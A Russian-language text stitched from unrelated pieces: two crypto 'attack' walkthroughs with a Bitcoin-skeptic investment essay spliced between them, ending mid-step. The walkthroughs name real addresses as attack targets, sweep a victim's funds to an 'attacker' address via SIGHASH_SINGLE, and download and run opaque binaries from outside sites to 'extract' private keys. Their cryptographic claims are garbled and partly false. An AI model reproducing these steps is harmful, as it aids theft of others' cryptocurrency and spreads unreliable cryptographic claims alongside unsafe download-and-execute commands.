!./darkai -unspent 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3

Полученный результат:

В выводе содержится список из одного объекта, описывающего конкретный неизрасходованный транзакционный выход (output):

{
"output": "23e81960ba8bb95c33c2336c84c126e378e4d1123921f881da9247c25f524161:1",
"value": 300000
}

1. Неизрасходованный транзакционный выход (UTXO)

• UTXO — это «Unspent Transaction Output«, то есть выход транзакции, который ещё не потрачен и доступен для использования в новых транзакциях.

• В Bitcoin-сети средства хранятся именно в таких выходах.

• Каждая транзакция имеет один или несколько выходов, каждый из которых может содержать определённое количество сатоши — наименьших единиц Bitcoin.

2. Структура вывода

• output — строка, состоящая из двух частей:

  • 23e81960ba8bb95c33c2336c84c126e378e4d1123921f881da9247c25f524161 — это txid, идентификатор транзакции, в которой был создан этот выход.

  • :1 — индекс конкретного выхода (output index) в транзакции. В данном случае это второй выход, поскольку индексация начинается с нуля.

• value — значение выхода:

  • 300000 — объем средств в сатоши.

  • Перевод в биткоины: 300000 сатоши = 0.003 BTC

3. Значение для владельца адреса

• Данный UTXO находится под контролем адреса 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3

• Это значит, что данный пользователь или кошелек имеет право создать транзакцию, используя эти 0.003 BTC из указанного выхода.

• Доступ к использованию UTXO осуществляется путём создания входа (input) в новой транзакции, указывающего этот output в качестве источника средств, и предоставления корректной подписи.

4. Практическое применение

• Анализ и учёт UTXO позволяет:

  • Оценить баланс адреса.

  • Оптимизировать создание новых транзакций — например, выбирать UTXO для минимизации комиссий.

  • Обеспечить правильную агрегацию и расходование средств, избегая ошибок при подписании транзакций.

• Формировании новых транзакций с использованием этих UTXO;

• Оптимизации выбора выходов для экономии на комиссиях;

• Анализе других транзакций и адресов;

Команда ./darkai -unspent успешно выявила и вернула один законный неизрасходованный выход транзакции, который контролируется указанным биткоин-адресом. Объем доступных средств равен 0.003 BTC. Данный результат является актуальным состоянием бюджета владельца данного Биткоин адреса и служит основой для формирования и отправки будущих транзакций с использованием этих средств.

Неизрасходованные результаты транзакций к целевому Биткоин Адресу: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Запустим команду и получим данные о неизрасходованных выходах транзакций (UTXO), связанных с Биткоин-адресом 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe которые содержат в себе определенные денежные средства в монетах BTC.

!./darkai -unspent 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Целевой адрес для атаки подделки цифровой подписи (Digital Signature Forgery Attack):

32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Расшифровка данных и каждого элемента:

1. Первый UTXO

• Transaction ID (txid): 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd

• Output index: 0 (первый выход из транзакции)

• Значение: 677200 сатоши

Перевод в биткоины:677200/100000000 = 0.006772BTC

2. Второй UTXO

• Transaction ID (txid): bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786

• Output index: 0

• Значение: 5000000 сатоши

Перевод в биткоины: 5000000/100000000 = 0.05BTC

Важно знать что, UTXO (Unspent Transaction Output) — это единичный выход ранее совершённой транзакции, который ещё не был использован для создания новой транзакции. Другими словами, это оставшиеся на счёте средства, которые можно потратить в будущем.

• Каждый UTXO содержит информацию, сколько сатоши на него приходится и из какой транзакции он произошёл.

• Чтобы потратить средства, необходимо использовать UTXO в качестве входа (input) в новой транзакции.

• Размеры UTXO влияют на сумму, которую можно потратить и на комиссию в сети.

1. Суммарный баланс адреса

С учётом приведённых данных суммарный баланс данного адреса составляет: 0.006772+0.05=0.056772BTC0.006772 + 0.05 = 0.056772BTC

Эти средства доступны владельцу адреса для последующих транзакций.

1. Выбор UTXO для транзакций

• При создании новой транзакции кошелёк выбирает из списка UTXO, какие именно использовать, чтобы покрыть требуемую сумму и комиссию.

• Иногда выгодно использовать несколько мелких UTXO или один крупный — в зависимости от ситуации и оптимизации комиссий.

Команда ./darkai -unspent 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe выявила два неизрасходованных выхода транзакции (UTXO), контролируемых указанным биткоин-адресом. Совокупный объём доступных средств — около 0.05677 BTC, что отражает текущее состояние баланса и доступные к расходованию активы. Эти данные являются ключевыми для любого процесса управления средствами: создания новых транзакций, учета баланса, оптимизации комиссий и обеспечения безопасности работы с криптовалютой.

Сценария создания и подписания транзакции Bitcoin с использованием мультиподписных выходов и SIGHASH_SINGLE

Рассмотрим обширный пример работы с Bitcoin-транзакциями на практике — начиная от получения неизрасходованных выходов (UTXO) нескольких адресов, формирования новой транзакции с использованием этих выходов, подписания входов транзакции с применением типа подписи SIGHASH_SINGLE, и заканчивая итогом — передачей всех BTC на определённый адрес. Особое внимание уделяется техническим деталям, которые важны для понимания уязвимостей и особенностей работы Bitcoin-клиентов с мультиподписными сценариями.

1. Получение неизрасходованных выходов (UTXO) для адресов

1.1. Биткоин адрес злоумышленника для присвоение денежных средств в монетах BTC:

addr = '1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3'
unspent(addr)
# Conclusion:
[{'output': '23e81960ba8bb95c33c2336c84c126e378e4d1123921f881da9247c25f524161:1', 'value': 300000}]

• Здесь содержится один выход, который не потрачен и доступен для использования.

• Значение: 300000 сатоши (0.003 BTC).

• На входы добавляются все три неизрасходованных выхода (UTXO) с обоих адресов.

• Для выхода выбран Биткоин Адрес 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3, куда будут отправлены все средства за вычетом комиссии.

outs = [{'address': addr, 'value': amount}]

3. Создание и подписание транзакции

3.1. Сборка новой транзакции (без подписей):

tx = mktx(ins, outs)

3.2. Подписание первого входа с использованием приватного ключа:

tx = sign(tx, 0, priv)
tx = deserialize(tx)

3.3. Вручную подставляем scriptSig для входов с использованием SIGHASH_SINGLE подписей:

tx['ins'][1]['script'] = '0048...53ae' # signing input 1 with multi-signature (SIGHASH_SINGLE)
tx['ins'][2]['script'] = '0048...53ae' # similar for input 2

• Эти scriptSig содержат две подписи, каждая из которых подписывает только свой соответствующий вход и соответствующий (один) выход (SIGHASH_SINGLE).

• В дополнение в scriptSig включён redeemScript с тремя публичными ключами мультиподписного кошелька.

4. Итоговая сериализация транзакции и отправка

!./darkai -serialize 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Эта транзакция тратит все три входа и отправляет средства на Биткоин адрес злоумышленника 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3

Итоговый результат:

tx = [{'791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf'}]

При этом фактически все BTC (в том числе с целевого адреса) были переведены под контроль одного адреса.

Даже при наличии мультиподписных сценариев (2 из 3), зная эту уязвимость, злоумышленник может эффективно похитить средства, создавая транзакции с едва ли заметными модификациями, используя SIGHASH_SINGLE. Указанный пример иллюстрирует такую атаку: собираются входы из нескольких Биткоин адресов (включая целевой), формируется транзакция с одним выходом к атакующему, и при этом транзакция валидируется.

По данным были отправлены средства на Биткоин адрес злоумышленника 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3 , где при помощи обработки не обновленной библиотеки xml-crypto для некорректных значении данных были совершенный манипулятивные транзакции из Биткоин кошелька: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe , где в последствии были потерянный монеты на сумму: 0.059672 BTC на июль 2025 года эта сумма составляет: 7,052 USD

Заключение

В результате криптоанализа криптографической атаки подделки цифровой подписи (Digital Signature Forgery Attack) становится очевидным, что несмотря на высокую надежность базовых криптографических алгоритмов, такие уязвимости, как CVE-2025-29774 и CVE-2025-29775 в библиотеке xml-crypto и баг SIGHASH_SINGLE в протоколе Bitcoin, открывают злоумышленникам эффективные способы обхода механизмов аутентификации и кражи криптовалюты без приватных ключей. На примере атаки на мультиподписной кошелек Copay показано, как тонкости реализации криптографии и ошибки в проверке подписей приводят к потере средств и подрыву доверия к безопасности блокчейна.

Это четко демонстрирует, что устойчивость криптоплатформ зависит не только от криптографических алгоритмов, но и от правильной реализации и своевременного обновления компонентов, участвующих в проверке цифровых подписей.

• Безопасная процесс с Bitcoin требует корректного использования типов подписи SIGHASH.

• Как из UTXO нескольких адресов формируется совокупная входящая часть новой транзакции.

• Как создаётся и подписывается сложная мультиподписная транзакция с использованием флага SIGHASH_SINGLE.

• Как из-за известных особенностей Bitcoin протокола можно столкнуться с уязвимостью, ведущей к краже средств.

• Как итоговый результат: все BTC адресов оказались переведены на один контролируемый адрес.

• Внедрение улучшений в сигнатуры (например, Taproot и подписи Шнорра) направлено на устранение подобных проблем.

• Разработчики кошельков должны строго валидировать и обновлять компоненты формирования транзакций.

Для предотвращения подобных инцидентов необходимо немедленно устранять выявленные уязвимости, переходить на более безопасные алгоритмы (например, с SHA-1 на SHA-256), а также вводить комплексные методы оценки и усиления кибербезопасности, так как в эпоху стремительно развивающихся технологий и новых видов атак безопасность криптовалютных систем требует постоянного мониторинга, быстрого реагирования и комплексного подхода — только тогда можно будет гарантировать защиту цифровых активов и сохранить доверие пользователей к блокчейну.

Опубликованы три части [№1] , [№2] , [№3] исследования

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/qbu1m_C1wyA

Video tutorial: https://dzen.ru/video/watch/68801dfc0c886621f7c1a0db

Источник: https://cryptodeeptool.ru/digital-signature-forgery-attack

И самая фундаментальная проблема с биткойном в том, что в мире крайне мало тех товаров и услуг которые бы продавались исключительно за биткойн. А это самая основная функция денег, все остальное вторично.

Например, доллары покупают, когда необходим товар из США, юани покупают, когда необходим товар из Китая и так далее. Это пример тех денег, которые решают реальную проблему. Но биткойн, так как это не настоящие деньги, покупают не для того, что бы купить товар, а для перепродажи.

Просто для сравнения, количество ежедневное количество транзакций в Биткойне составляет около 300 000 (плюс-минус).

В то время как среднее количество транзакций за сутки в VISA составляет около 700 000 000 (233 миллиарда / 365 дней).

Одна только VISA используется в 2500 раз чаще чем Биткойн. И это мы еще не учитываем остальные платежные системы и внутрибанковские переводы. Биткойн не используют и никогда не будут использовать как полноценные деньги.

Биткойн покупают не для того, что бы за него купить какой-либо товар, а для того, что бы перепродать его подороже. Нету тех покупателей, которые бы покупали Биткойн с целью его использования, есть только те, кто хотят на нем спекулировать. В этом и кроется фундаментальная причина почему рано или поздно стоимость Биткойна обвалится.

Вы можете возразить дескать кучу других активов тоже покупают с целью перепродажи, например золото, акции, квартиры, и т.д. Почему Биткойн является пирамидой, а все эти активы нет.

А разница заключается в том, что несмотря на наличие перекупов, у всех других активов есть реальные покупатели, которые покупают товар c целью использования, а не перепродажи.

Золото покупают с целью производства ювелирных украшений и электроники. Акции покупают с целью получения пассивного дохода. Квартиры покупают, что бы в них жить.

Раньше Биткойн был подходящим инструментом для проведения платежей, которые по другому провести невозможно. Например если вы хотели купить что-либо в обход санкций или избежать банковской бюрократии. Но сейчас стейблкойны в разы удобнее для решения этой проблемы.

Биткойн как инструмент для сохранения капитала

Самый главный миф относительно Биткойна - это то, что это хороший инструмент для сохранения капитала. Но я с этим категорически не согласен. Сохранять капитал необходимо в том, что фактически нужно людям, в том, что решает какую-либо реальную проблему.

Например, людям нужно золото, вы сохраняете капитал в золоте. Людям нужны квартиры, вы сохраняете капитал в квартире. Людям нужны акции, вы сохраняете капитал в акциях. Но людям не нужен Биткойн, у него попросту нету никаких свойств, которые бы были хоть как-то полезны.

Крипто-инвесторы очень часто сравнивают Биткойн с золотом, что в корне неверно. Как минимум потому что Биткойн - это деньги, а золото это товар (это совершенно разные классы активов, цена на которые формируется по совершенно различным законам).

Единственное что объединяет Биткойн и золото это то, что их лимитированное количество. Но это не делает Биткойн золотом.

Биткойн сравнивают с золотом по той причине, что те кто уже вложился в Биткойн хотят что бы вы его купили и не продавали в обозримом будущем. Это позволит им зафиксировать максимальную прибыль. И аналогия с золотом это лучший способ побудить вас на такое поведение.

Идея использовать Биткойн как инструмент для сохранения капитала, чем-то напоминает то, как небезизвестный Мавроди создавая МММ-2011 называл это кассой взаимопомощи.

Идея была в том, что сначала человек вносит деньги в эту кассу взаимопомщи. Потом когда ему требуются деньги он их временно изымает, но потом обязательно возвращает обратно. И таким образом деньги в так называемой кассе взаимопомощи никогда не кончаются. Это очень похоже на то, как крипто-инвесторы предлагают использовать Биткойн, не находите?

Отличием Биткойна от МММ является то, что Биткойн не генерирует столько же прибыли сколько выплачивали в МММ, соответственно он может жить дольше. Но рано или поздно его постигнет та же участь, это неизбежно с фундаментальной точки зрения.

Криптовалютные циклы

Ни для кого не секрет, что цена на Биткойн растет циклами. Примерно раз в 4 года цена на Биткойн резко вырастает, затем падает и потом через какое-то время этот процесс повторяется.

А вы никогда не задумывались какова природа этих циклов? А ответ достаточно простой - в конце цикла, свою прибыль фиксируют те, кто зашел в начале цикла. Только обычные пирамиды после этого закрываются и уходят в закат (потому что второй раз люди им деньги не понесут). А в Биткойне те кто не успел выйти вынуждены ждать нового цикла.

Что бы пирамида продолжала работать, нужен постоянный приток новых участников. 4 года это примерно тот срок за который успевает вырасти новое поколение "инвесторов", готовых купить Биткойн дороже, чем те, кто заходил до них.

Вы можете возразить мол, что в экономике тоже есть циклы - периоды роста сменяются спадами. И раз периоды роста и спада вполне естественны в экономике, то они естественны и в Биткойне.

Однако причина экономических циклов совсем другая - это кредиты (ну еще форсмажоры, но их не учитываем). Кредиты позволяют тратить больше денег, чем человек фактически располагает на текущий момент времени. Количество кредитных денег в экономике примерно в 8-12 раз больше чем количество "реальных" денег. Сначала люди берут кредиты, растет потребление, растет производство и как следствие вся мировая экономика.

Но в какой-то момент наступает наступает время эти кредиты отдавать. И тогда весь этот процесс разворачивается в обратную сторону: падает потребление, падает производство и падает экономика.

Такое явление в экономике хорошо изучено и называется долговыми циклами. Этот отлично объясняет Рэй Далио в своей книге "Большие долговые кризисы" - очень рекомендую.

Так что экономические циклы и циклы в Биткойне имеют совершенно разную природу. Циклы в экономике возникают вследствие кредитов, а циклы в Биткойне возникают, потому что требуется время что бы привлечь новых участников.

Технические проблемы

В Биткойне есть огромное количество технических проблем, которые делают его использование в качестве полноценных денег практически невозможным.

1. Долгие транзакции. Когда проведение транзакции занимает 1 час, это делает невозможным использование Биткойна для 95% (если не больше) процентов операций. В блокчейне может проводиться 7 транзакций в секунду.

2. Неудобные единицы измерения. Когда необходимо рассчитываться сотыми или тысячными долями Биткойна, то крайне неудобно.

3. Дорогие транзакции. 2-5 долларов за транзакцию это слишком много, что опять же делает невозможным использование Биткойна в ежедневных операциях.

4. Открытая история транзакций. Это достаточно серьезный косяк с точки зрения анонимности. Но всем на него пофиг, потому что Биткойн не использует в качестве полноценной альтернативы денег все равно.

5. Аутпуты вместо балансов. С каждым адресом в блокчейне ассоциируется не баланс (как это происходит во обычных банках) а аутпуты. Не знаю по какой причине было принято такое техническое решение, но факт в том что это крайне неудобно.

6. Большое количество адресов. Если вы используете Биткойн, то ваш кошелек создает для Вас большое количества адресов (потому что аутпуты размазаны по этим адресам). Это крайне неудобно (например потому что непонятно кто именно вам отправил деньги). Намного более удобная реализация - это когда у одного пользователя есть только один номер счета, как в обычных фиатных деньгах.

7. Чрезмерное энергопотребление. Только вдумайтесь 1% от всей генерируемой электроэнергии тратится на майнинг Биткойна, это просто какое-то сумашествие.

Абсолютно очевидно, что с технической Биткойн очень сильно проигрывает фиатным валютам с технической точки зрения. Но несмотря на все эти технические проблемы капитализация Биткойна все равно составляет два триллиона долларов. Почему? Да потому что если использовать Биткойн всего пару раз в год (что бы войти в пирамиду и выйти), то эти технические недостатки вообще не являются проблемой.

Агрессивный маркетинг

Самый главный механизм генерации прибыли в любой пирамиде - это фиксация прибыли за счет новых участников. Это основа любой пирамиды. И Биткойн тому не исключение.

Каждый уважающий себя криптовалютный инвестор на каждом углу кричит о том, что он криптовалютный инвестор. Он таким образом пытается заманить как можно большее количество новых участников.

В этом плане крипто-инвесторы хуже веганов (веганы по крайней мере материально не заинтересованы в том, что бы вы становились веганом). Если вы когда-либо общались с теми кто купил криптовалюту, то вы понимаете о чем я.

Многие криптопроекты обвешаны новомодными терминами вроде DeFi, RWA, NFT, DAO, Layer 2, токеномика, стейкинг, web 3.0 и т.д. Такое количество новых терминов используется для того, чтобы создать иллюзию инноваций и заманить большее количество участников.

Отдельно хочется затронуть такую тему как децентрализованные финансы (их еще называют DeFi). Этой технологией очень сильно гордятся те криптовалюты, которые построены на смарт-контрактах (например Etherium, Solana, Ton).

DeFi преподносится, как что-то совершенно уникальное, чего не было ранее и возможно только на децентрализованном блокчейне. Но на деле это все те же самые кредиты, депозиты, плечи, залоги, но только названые более моднявыми словечками. Абсолютно все что есть в DeFi есть и в традиционных финансах.

Даже более того, традиционные финансы кладут DeFi на лопатки без шансов с точки зрения возможных приемов и стратегий инвестирования. Просто обычные инвесторы об этом не кричат на каждому шагу.

В криптовалютных сообществах активно раздувают FOMO - страх упустить выгоду. Постоянно всплывают истории о том, как кто-то вложился в Биткойн в каком-то там лохматом году и теперь он миллионер. Такие примеры работают как эмоциональный крючок: ты тоже мог, но не успел - не упусти сейчас. Это не просто случайность - это целенаправленная игра на жадности.

Вот вам несколько твитов от самого главного крипто-инвестора в мире - Майкла Сэйлора. Для тех кто не знает, его компания MicroStrategy, покупает Биткойн в промышленных масштабах. На текущий момент они владеют Биткойнами на $35 миллиардов долларов. И вот собственно из чего состоит его твиттер.

И это не какой-то единичный случай, так себя ведут абсолютно все крипто-инвесторы. Весь твиттер, реддит, фейсбук забит подобными постами во всех крипто-сообществах. Главная задача крипто-инвестора - привлечь как можно больше других крипто-инвесторов.

Monero

Один из главных аргументов сторонников Биткойна - это то что Биткойн это неподконтрольные государствам деньги. Якобы обществу нужны деньги вне контроля государств и банков (потому что государства печатают деньги, а Биткойны напечатать нельзя). Но на практике независимость Биткойна от государств мало кого волнует. И доказательство этому - Monero.

Для тех, кто не знает: Monero это тот же самый Биткойн с технической точки зрения (плюс-минус), только полностью анонимный. В Биткойне можно отследить, кто перевёл деньги, кому и сколько, а в Monero вся эта информация криптографически зашифрована.

С точки зрения цифрового анархизма и ухода от финансовых институтов, Monero кратно превосходит Биткойн. Но несмотря на это, Monero даже близко не является настолько же популярным как Bitcoin. На момент написания статьи капитализация Monero составляет 6 миллиардов долларов, а капитализация Биткойна 2 триллиона. То есть капитализация Monero в 300 раз меньше, чем капитализация Биткойна.

Это доказывает то что пользователям по большому счету плевать на анонимность и децентрализацию, несмотря на то что они говорят.

А причина того, почему Monero значительно менее популярен, чем Bitcoin проста: абсолютная анонимность делает Monero крайне удобным инструментом для преступников. Поэтому Monero массово делистят с бирж и купить его становится все сложнее. А простота покупки это очень важное условие для притока новых участников и функционирования пирамиды.

Отчасти текущий виток роста Биткойн обусловлен тем, что сейчас появилось очень ETF, которые очень сильно упрощают покупку Биткойна. Раньше нужно было регистрироваться на бирже, проходить KYC, разбираться с тем где и как хранить Биткойн. А с приходом ETF можно использовать свой брокерский аккаунт для покупки Биткойна без необходимости разбираться во всей этой крипто-мишуре. На текущий момент через различные ETF куплено Биткойнов на 122 миллиарда долларов (5.56% от всего количества Биткойнов).

Предсказание цены Биткойна

Я полагаю, что пока еще достаточно притока новых денег, что бы капитализация Биткойна росла еще 2-4 года. Все таки Трамп привел очень большое количество новых участников в криптовалютный мир.

Так же Биткойн очень хорошо реагирует на рост объема денежной массы в мировой экономике. Трамп очень сильно давит на ФРС, что бы те снизили ключевую ставку и начали печатать деньги. И рано или поздно он добьется своего. Каждый раз когда количество денег в экономике увеличивается (это называется M2 экономистов), то это положительно влияет на цену Биткойна.

Я полагаю, что максимальная цена за один Биткойн будет в районе 160 000 - 220 000. И уж точно цена за Биткойн никогда не достигнет отметки в 1 000 000 долларов за монету.

Для каждой последующей итерации роста цены Биткойна требуется в 3-5 раз больше участников чем было до этого. Для нового витка попросту не будет достаточного количества новых участников.

Каждый 5 американец уже держит определенную часть своего портфеля в криптовалютах. Сам президент США пампит Биткойн (а это самая главная экономика мира на секундочку). MicroStrategy покупает Биткойн десятками миллиардов долларов. Bitcoin уже занимает 6 место в мире по капитализации. Дальше расти уже попросту некуда.

Я не говорю, что Биткойн - плохо, или что Биткойн это хорошо. Я придерживаюсь позиции, что Биткойн - это инвестиционный инструмент, необычный, но всё же инструмент. На его цену влияют совершенно другие факторы, чем на цену товаров и ценных бумаг. Мне важно, чтобы вы понимали, откуда берётся прибыль если вы инвестируете в Биткойн, и не строили иллюзий, будто бы Биткойн будет расти вечно - не будет. Никто не планирует держать Биткойн вечно, все планируют его перепродать подороже.

Заключение

Биткойн это плохой инструмент если ваша цель это сохранение капитала (акции и золото намного лучше).

Биткойн это плохой инструмент если ваша цель это международные транзакции в обход санкций и без банковской бюрократии (стейблкойны лучше).

Биткойн это плохой инструмент если ваша цель это крипто-анархизм и анонимность (Monero лучше).

Биткойн это хороший инструмент если вы делаете ставку на то, что количество денег в мировой экономике будет увеличиваться (а это очень вероятно).

Когда ко мне обращаются за консультацией, я советую либо вообще избегать Биткойна (если вы не переносите риски) либо вкладывать в него максимум это 20% от своего капитала. Но при этом держать в голове, что текущая итерация роста цены Биткойна - скорее всего является последней. И так же ни в коем случае нельзя держать 100% портфеля в криптовалюте, как это продвигается в крипто-сообществах.

Кстати если, у вас есть вопросы относительно того в какие активы инвестировать, стоит ли покупать криптовалюту, либо по любым другим инвестиционно-экономическим вопросам, пишите мне в телеграм, помогу.

К тому же Биткойн - это не самый лучший криптовалютный актив. Есть токены намного лучше Биткойна, но это уже совсем другая история.

При этом я полностью открыт к переубеждению в комментариях. Если Вы считаете, что где-то я не прав или ошибся, то я готов подискутировать об этом в комментариях.

В первой части статьи мы рассмотрели теоретическую часть уязвимости в функции is_private_key_valid.

В этой части статьи перейдем к практической части, где разберем криптоанализ потери 0.58096256 BTC из-за генерации недопустимого приватного ключа. Пошаговый разбор восстановления средств и критических уязвимостей в функции is_private_key_valid.
📌 Из теории уязвимость известно, что злоумышленники могут использовать некорректные генераций приватных ключей в блокчейн-системах с определяющим порядком группы точек эллиптической кривой secp256k1. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P
🔑 Главная проблема: Ошибки в вычислении порядка группы secp256k1 приводят к созданию приватных ключей вне диапазона [1, N). Это провоцирует:
Генерацию 50% невалидных ключей в Bitcoin-кошельках
Невозвратную потерь средств (ключи не проходят проверку ECDSA)
Риск компрометации HD-кошельков и смарт-контрактов
⚠️ Исторические параллели:
Уязвимость Randstorm (2011-2016): массовая генерация слабых ключей
Сбои в HSM-модулях (2015): компрометация корпоративных кошельков
📌 Почему это важно? Функция is_private_key_valid легитимизирует математически некорректные ключи, создавая ложное чувство безопасности. В видео — технический разбор ошибок эллиптических кривых и инструменты для проверки ваших кошельков.
🔍 Для кого: Криптоинвесторы, разработчики блокчейн-решений, специалисты по кибербезопасности. Демонстрация восстановления ключа через обратную инженерию и патчи для защиты кошельков.

Практическая часть

Из теории уязвимость известно, что злоумышленники могут использовать некорректные генераций приватных ключей в блокчейн-системах с определяющим порядком группы точек эллиптической кривой secp256k1. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P , где были потерянный монеты на сумму: 0.58096256 BTC на май 2025 года эта сумма составляет: 60785,58 USD

Воспользуемся сервисом PrivExtract и утилитой wget чтобы скачать python скрипт private_key.py

!wget https://raw.githubusercontent.com/keyhunters/bitcoin-keygen/...

Bitcoin Private Key Debug — это процесс работы с приватным ключом биткоина через специальные инструменты или консоль отладки (debug window) в кошельке Bitcoin Core или других программах.

Простыми словами:

• Приватный ключ — это секретное число, которое дает полный доступ к вашим биткоинам. Только с помощью приватного ключа можно отправлять монеты с вашего кошелька.

• Debug (отладка) — это режим, в котором можно вручную выполнять команды, связанные с приватными ключами: импортировать, экспортировать, проверять, восстанавливать или искать ошибки.

Зачем нужен Bitcoin Private Key Debug:

• Если вы хотите добавить приватный ключ в свой кошелек (например, после восстановления или переноса), вы открываете debug window (окно отладки) и используете команду вроде importprivkey.

• Если у вас есть проблемы с доступом к кошельку, debug-режим помогает проверить, правильный ли у вас приватный ключ, и восстановить доступ к средствам.

• Иногда debug используют для поиска или восстановления приватного ключа из файла кошелька (wallet.dat) или для работы с частично утерянными ключами.

Пример использования:

1. Открываете Bitcoin Core.

2. Заходите в меню «Помощь» → «Окно отладки» → вкладка «Консоль».

3. Вводите команду, например: importprivkey ваш_приватный_ключ. После этого кошелек добавит этот ключ и покажет соответствующий адрес.

Важно:
Работа с приватными ключами через debug требует осторожности. Если кто-то узнает ваш приватный ключ, он сможет украсть все ваши биткоины. Всегда делайте резервные копии и никому не показывайте приватный ключ.

Bitcoin Private Key Debug — это работа с приватным ключом через специальные команды для импорта, проверки или восстановления доступа к биткоинам, обычно через окно отладки кошелька.

Debugging в криптографии может косвенно помочь извлечь приватный ключ, если в реализации алгоритма присутствуют ошибки, нарушающие его безопасность. Вот ключевые аспекты:

Как ошибки в алгоритме способствуют утечке ключей

1. Уязвимости в генерации ключей
   Если алгоритм содержит ошибки при создании ключей (например, использование слабых случайных значений), отладка может выявить закономерности, позволяющие восстановить приватный ключ через анализ сгенерированных данных.

2. Утечка данных через логи
   Ошибочное логирование промежуточных значений (например, параметров шифрования) во время выполнения может раскрыть информацию, связанную с приватным ключом.

3. Некорректная обработка ключей
   Ошибки в управлении памятью (например, хранение ключа в незашифрованном виде) могут быть обнаружены через отладчики, что делает ключ доступным для извлечения.

Google Colab

Detailed Description of All Terminal Commands and Actions

1. Downloading and Installing Tools

Commands:

!wget https://privextract.ru/repositories/debugging.zip

• wget is a command-line utility for downloading files from the Internet via HTTP, HTTPS, and FTP protocols.

• Here, it downloads the debugging.zip archive from the specified URL.

• unzip is a command to extract ZIP archives in the current directory.

• This command extracts all files from debugging.zip.

!unzip debugging.zip

!wget https://raw.githubusercontent.com/keyhunters/bitcoin-keygen/...

• Downloads the file private_key.py from the specified URL using wget.

2. Running the Program to Generate Data

!./debugging

Command:

!./debugging -python private_key.py -address 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P

• ./debugging runs the executable file debugging from the current directory.

• -python private_key.py likely tells the program to use or analyze the script private_key.py.

• -address 1DMX2ByJZVkWeKG1mhjpwcMvDmGSUAmi5P specifies the Bitcoin address for further processing.

Result:

File contents: # Copyright (C) 2019 Cheran Senthilkumar # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. """Private Key Functions""" import secrets __all__ = ["gen_private_key", "is_private_key_valid"] # order N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF def gen_private_key(): """generate a private key""" return secrets.randbelow(N) def is_private_key_valid(private_key): """check if a given private key is valid""" return 0 < int(private_key, 16) < N Resulting long sequence with address: d3 58 a3 26 6f 88 17 dc e4 c9 1c cc dc c4 80 98 1c 20 d5 e8 04 97 cc 8a 3b 56 9d 51 bd 44 53 a5 72 44 bd a0 e6 9c 53 77 70 a7 c6 46 20 ad 43 33 de b4 ac 0a ce a1 71 38 e2 c3 50 2f fa 32 5d bd 17 f5 23 f4 f0 b4 30 68 56 9b 17 0d a3 9d 7e 8c 0d 31 30 b4 83 85 4a d1 57 53 c4 7b 24 f5 bd 68 8d a7 7c 31 71 78 d6 37 b9 8e ad 44 de 01 b5 78 b7 8f 71 ef 77 c1 aa 99 ce 78 df 0b bc 35 e6 7d The overall result has been successfully written to 'save.txt'. Contents of save.txt without spaces: d358a3266f8817dce4c91cccdcc480981c20d5e80497cc8a3b569d51bd4453a57244bda0e69c537770a7c64620ad4333deb4ac0acea17138e2c3502ffa325dbd17f523f4f0b43068569b170da39d7e8c0d3130b483854ad15753c47b24f5bd688da77c317178d637b98ead44de01b578b78f71ef77c1aa99ce78df0bbc35e67d

• The program uses the constant N (the order of the secp256k1 elliptic curve group) and a Python function to generate a private key in hexadecimal format.

• The generated private key is saved to the file save.txt without spaces.

File contents:

# Copyright (C) 2019 Cheran Senthilkumar
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
"""Private Key Functions"""

import secrets

__all__ = ["gen_private_key", "is_private_key_valid"]

# order
N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF


def gen_private_key():
"""generate a private key"""
return secrets.randbelow(N)


def is_private_key_valid(private_key):
"""check if a given private key is valid"""
return 0 < int(private_key, 16) < N

3. Extracting the Private Key from Data

Commands:

!wget https://privextract.ru/repositories/privextract.zip
!unzip privextract.zip

• Downloading and extracting the archive with the privextract tool, similar to previous steps.

Run:

